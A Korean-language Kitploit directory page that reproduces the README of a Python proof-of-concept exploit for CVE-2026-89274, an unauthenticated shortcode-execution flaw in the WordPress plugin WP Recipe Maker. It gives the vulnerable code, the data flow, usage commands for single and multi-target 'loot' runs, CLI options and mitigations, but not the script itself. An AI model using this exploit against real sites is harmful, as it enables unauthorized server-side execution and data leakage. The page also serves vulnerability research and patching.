Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/polosss/by-poloss..-.cve-2026-89274
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubpolosss/by-poloss..-.cve-2026-89274

By-Poloss..-.CVE-2026-89274

WordPress WP Recipe Maker <= 10.8.1에서 레시피 댓글을 통해 발생하는 인증되지 않은 임의 숏코드 실행 취약점 CVE-2026-89274에 대한 Python PoC 익스플로잇입니다.

저장소 보기
21일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-89274 PoC

Poloss : @WPEF0

status python license

CVE-2026-89274에 대한 Proof-of-Concept 익스플로잇 — WordPress 플러그인 WP Recipe Maker 버전 ≤ 10.8.1의 Unauthenticated Arbitrary Shortcode Execution 취약점.

⚠️ 법적 및 윤리적 경고 이 스크립트는 로컬 환경(localhost/lab)에서의 보안 연구용으로만 제공되며, 본인 소유가 아니거나 서면 허가 없이 타인의 시스템에 사용해서는 안 됩니다. 작성자는 오용에 대해 책임지지 않습니다. 권한 없는 제3자 시스템에 대한 사용은 형사법을 위반할 수 있습니다.


📌 취약점 요약

Field값
CVE IDCVE-2026-89274
대상WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1
분류Code Injection (CWE-94) — Arbitrary Shortcode Execution
CVSS v3.19.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
벡터레시피 댓글 콘텐츠 (unauthenticated)
싱크class-wprm-metadata.php의 do_shortcode()
영향서버 측 shortcode 실행 → 공개 JSON-LD를 통한 데이터 유출
AuthorPoloss

근본 원인 (patch-diff 10.8.1 → 10.8.4)

includes/public/class-wprm-metadata.php :: sanitize_metadata()

취약 (10.8.1):

root@kitploit:~
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );

do_shortcode()가 shortcode를 먼저 실행한 후, strip_shortcodes()는 그 출력만 정리합니다 — 보호가 전혀 없습니다.

패치됨 (10.8.4):

root@kitploit:~
$sanitized = strip_shortcodes( wp_strip_all_tags(
    WPRM_Instacart::do_shortcode_safe( $metadata ) ) );

데이터 흐름

root@kitploit:~
comment_content (레시피 게시물의 공개 댓글)
   └─> reviewBody        (class-wprm-metadata.php:1017)
       └─> $metadata['review'][]   (line 1028)
           └─> sanitize_metadata( get_metadata( $recipe ) )  (line 374)
               └─> do_shortcode( $reviewBody )  ← 실행 싱크
                   └─> wp_json_encode() → <script type="application/ld+json">

전제 조건

  1. 댓글이 wprm-comment-rating 필드를 포함 (댓글 양식을 통해 입력).
  2. 댓글이 승인됨 (자동 승인 또는 관리자의 수동 승인).
  3. 인증이 필요하지 않음.

⚙️ 설치

root@kitploit:~
git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate     # Windows: .venv\Scripts\activate
# 외부 의존성 없음 — Python 3 표준 라이브러리만 사용.

요구 사항: Python 3.8+.


🚀 사용법

단일 대상

root@kitploit:~
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
    --shortcode '[wprm-recipe-name id=11]' \
    --marker 'PoC Recipe'

다중 대상 (파일)

targets.txt 형식 (한 줄에 하나, url[,post_id]):

root@kitploit:~
http://lab1.local,10
http://lab2.local,25
# 주석 줄은 무시됨
http://lab3.local,7
root@kitploit:~
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json

CLI 옵션

Flag기본값설명
-u, --url—단일 대상 URL
-f, --file—대상 목록 파일 (줄당 url[,post_id])
-p, --post10레시피가 포함된 게시물 ID
-t, --threads5워커 스레드 수
-o, --outputcve-2026-89274-loot.jsonJSON 출력 파일
--shortcode[wprm-recipe-name id=11]실행할 shortcode 페이로드
--markerPoC RecipereviewBody에서 실행을 증명하는 부분 문자열
--rating5WPRM 평점 값
--timeout25요청당 타임아웃 (초)

🔍 스크립트 작동 방식

  1. 베이스라인 — 게시물 페이지를 GET하고, <script type="application/ld+json"> 블록을 추출하여 reviewBody를 수집.
  2. 댓글 제출 — 페이로드와 wprm-comment-rating 필드를 포함하여 /wp-comments-post.php에 POST.
  3. 폴링 — 댓글 자동 승인을 감지하기 위해 페이지를 여러 번 다시 GET.
  4. 검증 — --marker가 reviewBody에 나타나면 → EXPLOITED. 그렇지 않으면 → PENDING_APPROVAL.
  5. 출력 — 결과를 JSON으로 저장.

출력 상태

상태의미
EXPLOITEDShortcode가 실행되고 출력이 공개 JSON-LD로 유출됨
PENDING_APPROVAL댓글이 제출되었으나 관리자 승인 대기 중
FAIL페이지에 접근 불가 / 댓글 거부됨 / 오류

📄 JSON 출력 예시

root@kitploit:~
[
  {
    "target": "http://localhost:8080",
    "post_id": 10,
    "shortcode": "[wprm-recipe-name id=11]",
    "marker": "PoC Recipe",
    "author": "poc1716000000",
    "review_bodies": ["PoC Recipe"],
    "status": "EXPLOITED",
    "evidence": "PoC Recipe",
    "note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
    "elapsed": 9.12
  }
]

🛡️ 완화 조치

  • WP Recipe Maker를 ≥ 10.8.4로 업그레이드.
  • 임시 조치로 레시피 게시물의 댓글을 비활성화하거나 comment_moderation = 1로 설정하고 댓글을 엄격히 감사.
  • 댓글 필드에서 shortcode 구문([...])을 차단하는 WAF 규칙 적용.
  • 의심스러운 shortcode 페이로드가 있는지 기존 댓글 감사.

📁 저장소 구조

root@kitploit:~
.
├── CVE-2026-89274.py           # 메인 익스플로잇
└── README.md                   # 이 문서
도구 다운로드